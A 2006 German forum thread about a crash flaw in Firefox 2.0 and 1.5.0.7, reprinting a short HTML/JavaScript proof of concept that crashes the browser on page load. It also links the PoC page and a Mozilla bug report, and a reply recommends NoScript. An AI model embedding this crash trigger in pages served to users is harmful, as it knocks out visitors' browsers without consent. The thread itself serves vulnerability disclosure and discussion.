2
FLAW in Firefox 2.0 und 1.5.0.7
Eine Schwachstelle in den o.g. genannten Versionen des beliebten Firefoxbrowsers ermoeglicht Denial of Service und u.U. die Ausfuehrung von Remote Code.
Hallo liebe Gemeinde!
Einfach mal auf diesen Link klicken, Browser wird sofort abgeschossen.
PoC hier: http://werterxyz.altervista.org/Firefox2Range.htm
[31.10.2006, 03:14 am, von "xxxx"]
saludos
gnarff
Hallo liebe Gemeinde!
Einfach mal auf diesen Link klicken, Browser wird sofort abgeschossen.
PoC hier: http://werterxyz.altervista.org/Firefox2Range.htm
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
<script type="text/javascript">
function do_crash()
{
var range;
range = document.createRange();
range.selectNode(document.firstChild);
range.createContextualFragment('<span></span>');
}
</script>
</head>
<body onload="do_crash()">
<p>Good bye Firefox!</p>
</body>
</html>saludos
gnarff
Auf Facebook teilen
Auf X (Twitter) teilen
Auf Reddit teilen
Auf Linkedin teilenBitte markiere auch die Kommentare, die zur Lösung des Beitrags beigetragen haben
Content-ID: 43533
Url: https://administrator.de/forum/flaw-in-firefox-2-0-und-1-5-0-7-43533.html
Ausgedruckt am: 04.04.2025 um 16:04 Uhr
2 Kommentare
Neuester Kommentar
Hallo,
nein, stürzt nicht ab. Javascript habe ich nämlich schon lange nicht mehr aktiviert und das kann man nur jedem raten. Beziehungsweise um es differenzierter abzuschalten:
http://www.erweiterungen.de/detail/NoScript/
Gruß,
Tim
nein, stürzt nicht ab. Javascript habe ich nämlich schon lange nicht mehr aktiviert und das kann man nur jedem raten. Beziehungsweise um es differenzierter abzuschalten:
http://www.erweiterungen.de/detail/NoScript/
Gruß,
Tim
hallo tim
Hallo,
nein, stürzt nicht ab. Javascript habe
ich nämlich schon lange nicht mehr
aktiviert und das kann man nur jedem raten.
ja, aber der bug im code bleibt trotzallem unbehoben:
https://bugzilla.mozilla.org/show_bug.cgi?id=358797
gute idee, diese erweiterung kannte ich noch nicht...
Gruß,
Tim
saludos
gnarff
Hallo,
nein, stürzt nicht ab. Javascript habe
ich nämlich schon lange nicht mehr
aktiviert und das kann man nur jedem raten.
https://bugzilla.mozilla.org/show_bug.cgi?id=358797
gute idee, diese erweiterung kannte ich noch nicht...
Gruß,
Tim
gnarff
